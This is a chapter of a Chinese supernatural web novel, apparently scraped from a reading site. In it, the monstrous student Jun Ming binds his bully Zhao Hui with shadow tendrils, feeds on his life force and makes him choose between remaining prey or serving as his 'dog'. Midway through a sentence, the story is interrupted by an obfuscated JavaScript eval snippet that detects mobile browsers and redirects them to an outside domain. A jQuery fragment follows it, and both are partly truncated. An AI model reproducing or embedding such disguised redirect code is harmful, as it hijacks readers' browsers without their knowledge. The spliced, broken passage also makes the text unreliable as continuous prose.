15.Chapter 015

作品:《美丽怪物

    在那双漆黑眼睛的注视下,赵晖无意识地后退了一步。


    可他仍然没有闭嘴。


    “你原来也不长这样,我看过你的脸,你……”


    他颠三倒四地说着,状若疯癫,说到最后,他的声音变得尖细,像尖叫一样:“你不是人了!”


    赵晖的表情扭曲,狰狞,嘴越张越大,比起君鸣,他在此刻更像鬼怪。


    他知道自己是没道理的,他也从来不信神,可是这个念头一直在他的脑中萦绕,声音大到他已经无法忽视,无法当做什么都不知道了。


    甚至于,他觉得这些天他都是行尸走肉,周围发生的一切都无法令他感同身受。


    他的脑子里只有一个人的影子,占据了他的全部身心,让他备受折磨。


    他不肯认为是自己天生下贱,宁肯坚定不移地相信君鸣是个妖怪。


    一旦他这么想,那最近发生的一切都有了可以解释的原因,君鸣那离奇的力气,残忍的心肠,还有几乎换了一个人般的脸。


    最开始不过是一闪而过的念头,可当那念头出现后,就像一点火星落到了枯草上,一发不可收。


    君鸣安静地听他说话。


    大概世界上,只有君鸣能听懂赵晖的意思。


    这个在君鸣眼里恶毒愚蠢,既不是天师,也不懂术法的普通人,竟然第一个察觉到了他的异常。


    他在这一刻觉得赵晖不再可恨,他竟然觉得赵晖变得更美味了!


    君鸣缓缓上前,他的动作带着一种非人的、液体般的流畅,悄无声息地停在赵晖身前。


    他微微踮脚,使得他那张妍丽却毫无生气的脸,平稳地、不容抗拒地占据了赵晖全部的视野。


    有什么东西,一种介于实体与阴影之间的存在,从君鸣的背部、肋下悄然探出。


    那是一缕黑色烟雾,无数缕烟雾缠绕在一起,化作带着诡异生命力的藤蔓状触角。


    它们滑向君鸣脚下那片浓稠如墨的影子,像是在汲取养分,随即,如同嗅到血腥味的毒蛇,猛地沿着地面窜出,精准地触碰到了赵晖脚边的阴影。


    接触的瞬间——


    一阵微弱却直刺灵魂的狂喜震颤在空气中漾开。


    那黑色的藤蔓仿佛被注入了生命,猛地昂起“头”,随即以惊人的速度顺着赵晖的脚踝缠绕而上!它们冰冷、滑腻,带着墓穴般的寒气,贪婪地贴合着赵晖的每一寸肌肤,如同最饥|渴的情人。


    一寸又一寸,一圈又一圈。


    抓住他了。


    在某个看不见的世界里,赵晖的轮廓迅速被那疯狂增殖的黑色藤蔓吞没,成了一个不断蠕动的、人形的茧。


    藤蔓深深陷进他的皮肉,像烧红的铁丝烙进奶油,发出细微而持续的“滋滋”声。它们不是在单纯地捆绑,而是在扎根。


    君鸣听见了尖啸声。


    充满喜悦,欣喜若狂。


    他感受到一种酥麻感,似乎有闪电从天而降,击中了他的身躯,连灵魂都为之颤动。


    赵晖发现了,赵晖动摇了,赵晖意识到了自己是猎物!


    原来如此。


    君鸣在极端的幸福中想——原来如此。


    猎物自己慌不择路,奔向了他的怀抱。


    这才是他的力量,这才是那诡异藤蔓的捕食方式,这才是他的捕食方式。


    君鸣微微低头,看向赵晖看不见的“世界”,“藤蔓”从君鸣的身体里伸出来,它们就像君鸣的手,捕捉猎物,绞杀猎物,源源不断地把猎物身上的“气”输送到君鸣的体内。


    和这样的捕食相比,之前的捕食都像是隔靴搔痒。


    他只是站在美食边缘,尝了一点味道,就为此心满意足。


    赵晖感受到了虚弱,他发现自己似乎在瞬间丧失了质问的欲|望,他看着君鸣,眼眸里什么都没有,什么恨意,也没有痛苦,他甚至想触碰君鸣。


    不是粗暴的、凶狠的。


    而是温柔的,体贴的。


    一双手臂揽住了赵晖的脖子,一个人攀附上了他的身体。


    那具身体冰冷而柔软,不像人类,像是某种植物。


    君鸣的声音似乎从远方传来,他绯红的嘴唇凑在赵晖的耳廓,像是气声,轻柔的,极具煽动性地呢喃:“我需要你……”


    “什么?”赵晖以为自己出现了幻听。


    “我需要养料。”


    赵晖侧过头,只能看见君鸣的耳垂,他听不懂君鸣在说什么,却感觉这个动作有点过于暧昧。


    可他不想推开君鸣。


    在这一瞬间,他甚至感觉自己“爱”上了这个人。


    尤其在君鸣说出养料这两个字的时候,他一点也不害怕,心中生出了莫大的荣幸!


    赵晖一动不动,他的手仿佛有自我意识,竟然悄悄的放上了君鸣的后背。


    他为什么要欺负君鸣?


    为什么?他不记得了。


    他和君鸣有什么深仇大恨吗?没有吧,君鸣就是班里的隐形人,不出挑,又阴暗,除了成绩好一些以外,没什么和别人不同的地方。


    那他为什么要一直针对君鸣?因为恨吗?


    还是因为……


    赵晖什么都想不到了,他只感觉自己似乎生来就应该被这样“缠绕”,他本来就该为挂在他身上的人奉献一切!至于究竟要奉献什么,他不知道,也不在乎。


    君鸣满足地轻叹一声。


    他终于察觉到了自己的“本能”,他刚刚从沉睡中苏醒,从干枯中重新获得力量,那些雾气让他“复活”,也让他给猎物扔出了诱饵。


    不止是金雾、不止是黑雾、赵晖的一切,从此时此刻都属于他了。


    赵晖的全部,全都是给他提供养分的“树”。


    他终于,把自己的根,扎进了树干里。


    只要赵晖活着,就永远属于他。


    君鸣推开了赵晖,此时他的眼尾,嘴角,都带着一抹鲜艳的红,他看着赵晖,心里却不再有仇恨,而是一股亲切感,这棵树还不够强壮,高大,但是他是精明的猎人,是有耐心的捕手。


    赵晖在失去君鸣支撑的瞬间滑倒在地。


    他失神的仰望着君鸣。


    “我这周末有时间。”君鸣温和地说,“我想,我应该有时间去你家做客,顺便见见你的家人,你觉得呢?”


    赵晖的理智还在挣扎,他艰难地问:“你到底是什么?”


    “怪物。”君鸣给自己的存在下了定义,“你是我的猎物。”


    “什么意思?”赵晖的理智和情感在拉扯。


    ——他是怪物!他不是人!他要害你!


    ——他是怪物又怎么样?你这么期盼他的眼神,你这么期待他的垂青,你时刻想要吸引他的注意,你不是要成功了吗?


    君鸣含笑看着他:“你可以自己选择。”


    赵晖的目光越来越混沌:“选择什么?”


    “是选择永远当我的猎物,直到死亡腐烂,还是成为我的狗,为我寻找新的猎物。”君鸣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522040|186038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微微俯身,他伸出手,抬起赵晖的下巴,轻轻拍打赵晖的侧脸,“我让你自己选一次。”


    赵晖的脑中闪过许多画面。


    那埋头匆匆从他身边擦过的少年。


    坐在最后排看向窗外的少年。


    羞涩拒绝他帮助的少年。


    他曾经那样注视着他。


    他曾经那样厌恶他。


    君鸣扯住赵晖的头发,迫使赵晖身体向上,他又一次在赵晖耳边说——


    “你选好了吗?”


    ·


    君鸣兴奋得难以自抑,回家的步伐都格外轻快,他一直以来都弄错了自己的捕食方式,那种停留在体表的,吸入式的进食,就像是一种隔靴搔痒,所以他才饿得那么快,饱腹都是一种奢侈。


    他并不知道真正的进食方法是什么。


    而赵晖教会了他。


    赵晖知道他是怪物,或许他的脑子只是怀疑,但在他的内心深处已经深信不疑。


    要长期的“饲养”猎物,前提条件竟然是要猎物自愿,猎物要自愿被他攀附,被他层层围绞,他才能把自己的根扎进去,扎根在对方的灵魂深处,源源不断地吸取养料。


    可这样的进食虽然长久,但也要格外小心。


    不能一不小心把猎物养死了。


    猎物并不好找,他在学校里再也没有遇到过第二个金雾像赵晖那么浓重的人——他已经品尝过好的了,怎么能容许自己再去找差的?


    赵晖就像是一个永不枯竭的容器,只要他细心“呵护”,就能在短暂的等待后好好饱餐一顿。


    而他现在,甚至能感觉到赵晖在哪里,距离他有多远。


    他不能再那样随意的对待自己的猎物了。


    他得呵护他们,像对待一朵花,精心的照料,直到他们自愿成为他的养分,自愿被他攀附。


    当君鸣打开家门,看到久违的,许多天没有打过照面,说过话的妈妈时,他脸上仍旧挂着幸福而喜悦的笑容,眼角微弯,嘴角夸张的上勾。


    坐在餐桌后的女人也因此见到了一个自己从未见过的儿子。


    她惊愕的瞪大眼睛,一时间以为自己出现了的幻觉。


    她了解自己的儿子,儿子是内向的,情绪总是收敛的,哪怕考了年级第一,都像是完成了一件无足轻重的小事,甚至早早就为下一场考试做起了准备,像是天生就不知道什么叫骄傲自满。


    可现在,这个自从被接到身边,从村里到城市以后再也没有露出过除微笑以外表情的孩子,正夸张的笑着,他笑得近乎癫狂,不仅不会让人被他的笑容感染,反而感到一丝可怖。


    女人连忙站起来,她快步上前,抓住了儿子的手腕。


    用眼神关切的询问。


    君鸣的笑容抑制不住,他打起手势:


    ——妈妈,我觉得好幸福。


    ——妈妈,你有什么事吗?


    女人这才记起自己提前回家的原因,她有些犹豫,有些踌躇,可是在短暂的迟疑后,她仍然打手势说:


    ——宝宝,不要欺负你爸爸,不要再把他的轮椅放在客厅。


    以前这个时候,君鸣总是会劝她,不能一直纵容下去,再纵容下去,难道要让他爸从一个中年赌鬼变成一个老赌鬼吗?难道她的一生,他的一生,都要为一个老赌鬼去承担代价?


    可现在,君鸣维持着这样的笑容,他“说”:


    ——好的,妈妈,我再也不会欺负他了。


    ——从今天开始。